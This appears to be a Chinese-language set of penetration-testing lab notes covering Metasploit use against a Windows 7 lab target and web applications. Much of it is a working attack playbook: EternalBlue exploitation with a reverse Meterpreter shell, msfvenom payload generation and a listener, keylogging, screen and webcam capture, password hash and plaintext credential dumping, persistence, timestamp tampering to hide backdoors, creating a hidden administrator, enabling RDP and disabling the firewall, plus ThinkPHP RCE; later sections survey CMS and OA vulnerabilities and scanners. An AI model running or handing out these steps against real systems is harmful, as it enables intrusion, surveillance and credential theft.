扫描器的使用

use auxiliary/scanner/smb/smb_ms17_010

攻击模块的使用

下一步操作:发起攻击 (Exploit)

既然扫描器已经告诉你目标是“易受攻击”的,你现在的动作应该是从 辅助模块(Scanner) 切换到 攻击模块(Exploit)

请按照以下顺序输入命令:

  1. 切换模块

    Bash

    1
    use exploit/windows/smb/ms17_010_eternalblue
  2. 设置目标 IP

    Bash

    1
    set RHOSTS 192.168.20.135
  3. 设置攻击载荷(通常默认就是这个,但建议检查一下)

    Bash

    1
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
  4. 设置你自己的 IP(Kali 的 IP,用于接收反弹回来的 Shell)

    Bash

    1
    2
    # 先在另一个终端用 ip addr 确认你的网卡 IP
    set LHOST [你的Kali的IP]
  5. 开火攻击

    Bash

    1
    exploit

进入Windows之后的操作

  • 1. 基础环境与权限感知

    在任何操作之前,必须先弄清楚你的身份和所处的环境。

    命令 实战意义
    getuid 最优先执行。查看当前用户。如果是 SYSTEM 则拥有最高权限,否则需考虑提权。
    getsystem 一键提权。利用多种内置技术尝试将权限提升至 SYSTEM
    sysinfo 获取目标机计算机名、OS版本、架构(x64/x86)。这对后续选择后渗透模块至关重要。
    pwd / ls 查看当前所在的目录及其文件,寻找有价值的文档或配置文件。”C:\Users\Sun\Desktop”

    2. 秘密侦察与监控

    这些命令用于获取目标用户的实时行为,且不容易被发觉。

    命令 实战意义
    ps 查看进程列表。重点寻找:1. 杀软进程(避开监控);2. 用户常用进程(如浏览器、办公软件)。
    screenshot 实战大杀器。截取目标当前的屏幕。可以直接看到用户在做什么,甚至看到他在输密码。
    keyscan_start 开启键盘记录。记录用户在键盘上输入的所有内容(包括登录网页的账号密码)。
    keyscan_dump 导出并查看记录到的键盘内容。
    webcam_stream 开启摄像头实时监控(如果对方有摄像头)。

    3. 凭据窃取(拿密码)

    渗透的终极目标之一就是拿走密码,用于横向移动。

    命令 实战意义
    hashdump 导出本地 SAM 数据库中的用户密码 Hash(NTLM)。拿到后可在 Kali 中用 John the Ripper 破解。
    load kiwi 加载 Mimikatz 插件。
    creds_all 在加载 kiwi 后使用,尝试从内存中直接抓取明文密码

    4. 权限维持与隐藏

    防止因为对方重启或网络波动导致 Shell 丢失。

    命令 实战意义
    migrate [PID] 进场必做。将当前 Shell 注入到稳定的系统进程(如 explorer.exeservices.exe)。防止原漏洞程序关闭导致连接中断。使用ps查看有用的进程
    run persistence 自动化脚本。在目标机写注册表或启动项,实现永久控制(慎用,留痕较多)。
    timestomp 修改文件的“创建、修改、访问”时间。用于清理痕迹,让管理员无法通过时间排序找到你上传的后门文件。

    5. 系统交互与内网渗透

    当你需要更深度的操作时。

    命令 实战意义
    shell 进入目标系统的标准命令行(CMD 或 PowerShell)。执行原生系统命令。
    upload / download 上传木马、脚本或下载目标的敏感资料、数据库文件。
    portfwd 内网穿透核心。将目标内网中其他机器的端口转发到本地。例如:将内网某数据库的 3306 转发到你的 Kali。

1. 核心操作:新建用户并授权

meterpreter > 提示符下输入 shell 进入 Windows 的 CMD 模式:

DOS

1
2
C:\Windows\system32> net user guest123 Password@123 /add
C:\Windows\system32> net localgroup administrators guest123 /add
  • 注意:如果显示“命令成功完成”,说明账号已创建。如果提示“密码不满足要求”,请尝试更复杂的密码,如 Admin#123.com

2. 开启远程桌面(3389 端口)

MS17-010 拿到的 Shell 通常可以直接修改注册表来打开 RDP:

DOS

1
2
3
4
5
# 1. 开启远程桌面功能
REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# 2. 修改允许任何版本的 RDP 连接(防止因加密等级不同连不上)
REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

3. 在 Kali 上进行登录连接

不要关闭 MSF 会话,新开一个终端,使用 xfreerdp 连接目标:

Bash

1
xfreerdp /u:guest123 /p:Password@123 /v:192.168.20.135 /dynamic-resolution
  • 如果连接被拒绝:可能是防火墙(Firewall)挡住了。

  • 解决方法(在 Shell 中输入):

    DOS

    1
    netsh advfirewall set allprofiles state off

MSF 的“一键懒人”命令

既然你在用 MSF,其实有一个比手动敲 net user 更简单的方法。直接在 Meterpreter 提示符下执行:

Bash

1
meterpreter > run getgui -u hacker -p Hacker@123
  • 这个脚本会自动帮你:
    1. 创建用户 hacker
    2. 将其加入管理员组。
    3. 修改注册表开启 3389 端口。
    4. 自动处理防火墙策略。

反弹shell生成

第一步:重新生成木马(以 64 位 Meterpreter 为例)

Bash

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.137 LPORT=6666 -f exe > shell.exe

第二步:精准配置监听器

Bash

1
2
3
4
5
6
7
8
use exploit/multi/handler
# 必须与上面 -p 参数完全一致!
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.137
set LPORT 6666
# 建议开启这个,防止一个 Session 挂了导致整个监听器停止
set ExitOnSession false
run

第三步:在目标机(Windows 7)运行 shell.exe 一旦运行,你的 Kali 就会瞬间弹回一个 meterpreter > 提示符。

web模块的使用方法

1. 第一步:指纹识别与目录探测

在攻击之前,必须先了解对方网页使用的是什么技术架构(如 PHP, Apache, CMS 等)。

  • 识别 Web 服务指纹

    Bash

    1
    2
    3
    use auxiliary/scanner/http/http_version
    set RHOSTS [靶机IP]
    run
  • 敏感目录扫描(类似 dirb 的功能):

    Bash

    1
    2
    3
    use auxiliary/scanner/http/dir_scanner
    set RHOSTS [靶机IP]
    run

2. 第二步:使用 WMAP 进行全自动化 Web 扫描

WMAP 是 MSF 中专门用于 Web 扫描的插件,它集成了大量的 HTTP 辅助模块,可以自动扫描 SQL 注入、文件包含、目录遍历等漏洞。

操作流程:

  1. 加载 WMAP 插件

    Bash

    1
    load wmap
  2. 添加目标站点

    Bash

    1
    wmap_sites -a http://[靶机IP]:[端口]
  3. 定义扫描目标

    Bash

    1
    wmap_targets -t http://[靶机IP]:[端口]/index.php
  4. 列出并运行所有匹配的扫描模块

    Bash

    1
    2
    wmap_run -t  # 检查哪些模块可用
    wmap_run -e # 正式开始全量扫描
  5. 查看结果

    Bash

    1
    wmap_vulns -l

3. 第三步:针对性扫描常见 Web 漏洞

如果你通过指纹识别发现了一些端倪,可以使用特定的扫描模块进行“点对点”探测。

漏洞类型 常用 MSF 扫描模块路径
SQL 注入 auxiliary/scanner/http/sql_injection
通用目录遍历 auxiliary/scanner/http/http_traversal
敏感备份文件 auxiliary/scanner/http/backup_file
Struts2 漏洞 auxiliary/scanner/http/struts_scanner_ognl
文件包含 (LFI) auxiliary/scanner/http/lfi_dotdot_slash

使用 MSF 专用模块扫描

既然你在学习 MSF,这是最推荐的方法。MSF 内置了多个针对 ThinkPHP 5 的扫描和利用模块。

  1. 搜索相关模块

    Bash

    1
    msf6 > search thinkphp
  2. 选择扫描/利用模块(推荐使用 rce 模块):

    Bash

    1
    msf6 > use exploit/unix/webapp/thinkphp_rce
  3. 配置参数

    Bash

    1
    2
    3
    msf6 > set RHOSTS [靶机IP]
    msf6 > set RPORT [端口]
    msf6 > set TARGETURI / # 如果是在public目录下,可能需要设为 /public/
  4. 检查漏洞是否存在(不直接攻击)

    Bash

    1
    msf6 > check

    如果显示 The target is vulnerable,说明稳了!

靶场

flag{&LRDX@sU}

CMS

CMS 全称是 Content Management System(内容管理系统)。

在没有 CMS 的年代,改一个网页的标题都需要程序员去修改 HTML 代码。有了 CMS 后,你就像用 Word 文档一样,在后台打字、传图片,点击“发布”,网页就自动生成了。

  • 核心组件
    • 后台界面:管理员登录后发文章、改配置的地方。
    • 数据库:存储所有文字内容、用户信息。
    • 模板/主题:决定网站的外观。
  • 常见的 CMS
    • 个人/博客:WordPress (全球市场份额第一)。
    • 企业/门户:DedeCMS (织梦)、帝国 CMS、PHPCMS。
    • 论坛:Discuz!。
    • 电商:Magento、ECShop。

2. 什么是 CMS 漏洞?

由于 CMS 是通用的开源软件,全世界都在用同一套代码。一旦某行代码被发现存在安全缺陷,所有使用该版本 CMS 的网站都会瞬间变成“活靶子”。

常见的 CMS 漏洞类型包括:

  1. 代码执行 (RCE):像你刚才玩的 ThinkPHP 漏洞一样,攻击者可以直接发送指令让服务器执行,从而拿到 Shell。
  2. SQL 注入:通过在文章搜索框、留言板输入恶意语句,把数据库里的管理员账号密码“骗”出来。
  3. 文件上传漏洞:CMS 允许用户传头像,但如果过滤不严,攻击者可以直接传一个 PHP 木马(WebShell)。
  4. 越权/弱口令:很多 CMS 安装后默认密码是 admin/admin888,或者可以通过特定路径绕过登录。

3. 著名的 CMS 漏洞(渗透必知)

在网络安全历史上,以下几个 CMS 漏洞非常出名,也是靶场和实战中经常遇到的:

① WordPress (插件/主题漏洞)

WordPress 核心代码其实很安全,但它庞大的第三方插件是重灾区。

  • 例子:某个文件管理器插件存在漏洞,允许攻击者直接读取服务器上的 wp-config.php(内含数据库明文密码)。

② Drupal (Drupalgeddon)

  • CVE-2014-3704 & CVE-2018-7600:被称为“Drupal 炸弹”。攻击者只需访问一个特定链接,无需任何账号,就能让服务器执行命令。这是 CMS 历史上最严重的漏洞之一。

③ DedeCMS (织梦) 任意文件写入

  • 国内非常流行的 CMS。曾爆发过通过变量覆盖漏洞,在服务器上直接生成 .php 后门文件的漏洞,导致大量中小企业网站被挂黑链。

④ Discuz! 插件命令执行

  • 国内最大的论坛系统。其某些版本的插件(如某些统计插件)存在漏洞,可以通过精心构造的数据包直接控制服务器。

OA

1. 通达 OA (T0NDA)

通达 OA 在国内中小企业中使用率极高,它的漏洞历史非常辉煌,尤其是 RCE(远程代码执行) 组合拳。

  • 典型漏洞:
    • 任意用户登录 + 文件上传 RCE(2020年):通过构造特定的请求,可以绕过身份验证直接上传 PHP 木马。
    • SQL 注入:通达 OA 早期版本在多个查询接口(如 check_auth.php)存在严重的注入漏洞。
  • 特点:漏洞链通常比较直接,利用门槛较低。

2. 泛微 OA (Weaver e-cology / e-office)

泛微是国内 OA 的龙头老大,其安全漏洞在大型企业渗透中非常常见。

  • 典型漏洞:
    • BeanShell 远程代码执行(2019年):通过 /weaver/bsh.servlet.BshServlet 路径,可以直接执行 Java 代码。这是泛微最出名的“神洞”。
    • SQL 注入:常见的如 getSqlData 接口注入,由于后端对 SQL 语句处理不当导致。
    • 任意文件读取:可以读取系统的数据库配置文件(如 prop 文件),直接拿到数据库密码。
  • 特点:泛微的漏洞往往与 Java 反序列化或配置不当有关。

3. 致远 OA (Seeyon)

致远 OA 是基于 Java 开发的,经常作为进入内网后的跳板。

  • 典型漏洞:
    • 任意文件上传导致 RCE(2019/2020年):通过 /seeyon/htmlofficeservlet 等接口,攻击者可以绕过权限验证上传包含木马的压缩包并自动解压。
    • SESSION 泄露导致的后台进入:通过特定漏洞获取管理员 Session,无需密码直接登录后台。
  • 特点:文件上传漏洞多发,且利用成功率极高。

4. 蓝凌 OA (Landray)

蓝凌 OA 在大型国企和金融机构中应用广泛。

  • 典型漏洞:
    • 任意文件读取:通过 custom.jsp 等路径读取敏感文件。
    • SSRF (服务端请求伪造):攻击者可以利用 OA 服务器作为跳板,扫描或攻击内网其他不联网的服务器。
  • 特点:蓝凌的漏洞往往与某些第三方组件(如 EKP 框架)的漏洞捆绑在一起。

5. OA 系统漏洞的通用“套路”

在渗透测试中,扫描 OA 漏洞通常遵循以下逻辑:

步骤 操作内容 关键点
1. 识别指纹 通过 Web 标题、图标或路径判定厂商 e-cology (泛微), seeyon (致远)
2. 探测漏洞 使用 Nuclei、Goby 或专门的 OA 综合扫描器 优先探测 RCE 和 任意文件上传
3. 拿下 Shell 上传冰蝎 (Behinder) 或 哥斯拉 (Godzilla) 木马 OA 系统多为 Java/PHP 环境
4. 敏感信息 读取配置文件,连接数据库 获取员工名单、工资条或内网 VPN 账号

Web漏洞查找方法

1. 指纹识别工具

在攻击之前,你必须先知道目标是 WordPress、Discuz 还是 ThinkPHP。

  • WhatWeb (最常用):

    不仅能识别 CMS,还能识别 Web 服务器版本、插件、甚至邮箱地址。

    Bash

    1
    whatweb http://192.168.20.135
  • Wappalyzer (命令行版):

    识别网站技术栈(语言、框架、数据库)。在 Kali 中可以使用 webanalyze 或浏览器插件版。

  • CMSeek:

    专门针对 CMS 的自动化识别工具,支持 180 多种 CMS。

    Bash

    1
    python3 cmseek.py -u http://example.com

2. 专项 CMS 扫描器(针对性最强)

如果你已经确认了 CMS 类型,使用专项扫描器会比通用扫描器精准得多。

  • WPScan:

    WordPress 玩家必备。它可以扫描过时的插件、主题,甚至是暴力破解用户名。

    Bash

    1
    wpscan --url http://target.com --enumerate p (枚举插件)
  • Droopescan:

    针对 Drupal、Joomla、Moodle 和 SilverStripe 的扫描器。

  • JoomScan:

    专门针对 Joomla 系统的漏洞扫描工具。


3. Web 漏洞通用扫描器(扫出具体漏洞)

这些工具不关心你是什么 CMS,它们通过发送恶意 Payload 来测试常见的 SQL 注入、XSS 等。

  • Nikto:

    Kali 内置的经典 Web 扫描器,能发现 6000 多个危险文件和过时软件。

    Bash

    1
    nikto -h http://192.168.20.135
  • Nuclei (当前最流行):

    基于模板的极速扫描器。你可以使用社区维护的几千个 YAML 模板来探测各种 CVE 漏洞(包括最新的 OA 和 CMS 漏洞)。

    Bash

    1
    nuclei -u http://target.com
  • Uniscan:

    集成了文件指纹识别、目录扫描、以及简单的 SQLI/XSS 扫描。


4. 辅助探测命令(手动确认)

  • Nmap (http-enum 脚本):

    Nmap 不止能扫端口,还可以枚举 Web 目录:

    Bash

    1
    nmap -sV --script http-enum 192.168.20.135
  • Dirsearch / Gobuster:

    用于发现隐藏的后台、备份文件(如 .tar.gz、.bak)或敏感目录。

    Bash

    1
    dirsearch -u http://192.168.20.135 -e php,txt,zip

5. 综合联动:MSF 中的扫描模块

可以直接利用它内置的探测模块:

模块名称 用途
auxiliary/scanner/http/http_version 识别 Web 服务器版本
auxiliary/scanner/http/dir_scanner 扫描 Web 目录
auxiliary/scanner/http/wordpress_scanner 扫描 WP 漏洞
auxiliary/scanner/http/title 获取所有网页标题(快速筛选目标)